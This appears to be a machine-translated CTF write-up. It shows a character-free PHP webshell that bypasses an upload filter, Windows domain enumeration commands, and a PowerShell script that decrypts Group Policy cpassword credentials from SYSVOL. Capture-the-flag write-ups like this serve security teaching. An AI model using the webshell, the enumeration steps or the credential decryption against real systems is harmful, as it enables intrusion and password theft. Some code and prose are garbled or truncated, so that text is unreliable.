De1ctf 2020 web [hard ﹣ pentest ﹣ 1] character free injection & SYSVOL restore group policy password

Open the source code directly, see that it is a file upload, check the file size and pass a Check() function judgment, and take a look at the Check() function

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    return false;

$BlackExts has a suffix blacklist, which filters PHP, but there is no matching case in preg_match, so it can be bypassed by PHP, and it can also be parsed into PHP

Then, we can see that there is a regular pattern of file content matching, which indicates that this is to directly check the content of the uploaded file. We can see that preg match thinks about three bypasses of preg match

  • Pass array, directly returned to false
  • The upper limit of recursion is bypassed, which is generally used in file upload post. The upper limit is usually 1000000, which also returns false
  • preg_match('/^flag$/',subject) only matches the contents of the first line. Pass in \ nflag to bypass

Here, preg ﹣ match requires returning true. It doesn't matter if the above bypasses, so just connect to the rule

Analyze the regular rule matching to letters a-z, numbers 0-9 and symbols; ~ ^ & | 'and case sensitive and matching newline (/ s). There are three shell writing methods for normal character free injection

  • Or shell (^)
  • Reverse shell (~)
  • Self increasing shell (+)

If ^ and ~ are filtered here, then only the possibility of self increasing shell is left. Find a script, and the shell constructed is ASSERT($_POST []);

$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$___.=$__; // S
$___.=$__; // S
$__++;$__++;$__++;$__++; // E 
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T

$___($_[_]); // ASSERT($_POST[_]);

In order to facilitate the connection of ant sword, it is necessary to rewrite the system to write a new file. At the same time, it is also filtered. Each sentence is bypassed by a short tag (<? = phpinfo()? >)

The modified script is as follows


<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_],$_[___])?>

After ant sword logs in, it's found that it's a Windows Server. When I look at the next file, I see this

First, give it to misc team-mates for blasting, no result, and then continue to search

The problem encountered here is the penetration of Windows server. Let's take a look at some preliminary knowledge

  • Domain: it is a group of network object users, groups, computers, etc. Domain is a security boundary in Windows operating system. Neither security policy nor access control can span different domains. Every domain administrator has the right to set the policy of his domain

The domain can be understood as a working group with password encryption. The working group is unprotected. The domain can authenticate and control the login user according to the set domain rules, which will be more secure. Some domain penetration commands are sorted out

net use to view the connected network image
 net user /domain query the list of all users in the domain
 net user admin /domain query domain specific user details
 net group /domain view the list of workgroups in the domain
 systeminfo system information

Here are some Command reference for Windows penetration

$ net user /domain


There is a user name hintzip ﹣ pass. Guess that the user is related to the password of the compressed package. Maybe the user's password is the password of the compressed package. Search for an article related to the password of the domain user Article

In short

\In the SYSVOL path, some configuration information of users in the domain is saved - > find the configuration information of hintzip \

1) Path format \ \ < domain > \ SYSVOL \ < domain > \, in this case, \ \ De1CTF2020.lab\SYSVOL\De1CTF2020.lab\

2) Find the configuration file of HintZip_Pass in the path / / De1CTF2020.lab/SYSVOL/De1CTF2020.lab/Policies/{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}/Machine/Preferences/Groups /

3) Restore key with script

function Get-DecryptedCpassword {
    Param (
        [string] $Cpassword 

    try {
        #Append appropriate padding based on string length  
        $Mod = ($Cpassword.length % 4)
        switch ($Mod) {
        '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
        '2' {$Cpassword += ('=' * (4 - $Mod))}
        '3' {$Cpassword += ('=' * (4 - $Mod))}

        $Base64Decoded = [Convert]::FromBase64String($Cpassword)
        #Create a new AES .NET Crypto Object
        $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
        #Set IV to all nulls to prevent dynamic generation of IV value
        $AesIV = New-Object Byte[]($AesObject.IV.Length) 
        $AesObject.IV = $AesIV
        $AesObject.Key = $AesKey
        $DecryptorObject = $AesObject.CreateDecryptor() 
        [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
        return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    catch {Write-Error $Error[0]}
Get-DecryptedCpassword "uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08"

Create a new script file 1.ps1 on the target machine, and then execute powershell -executionpolicy bypass -file 2.ps1 to obtain the key zl1pp @ sswo3d

Keywords: PHP shell Windows network

Added by mrjameer on Thu, 07 May 2020 10:23:40 +0300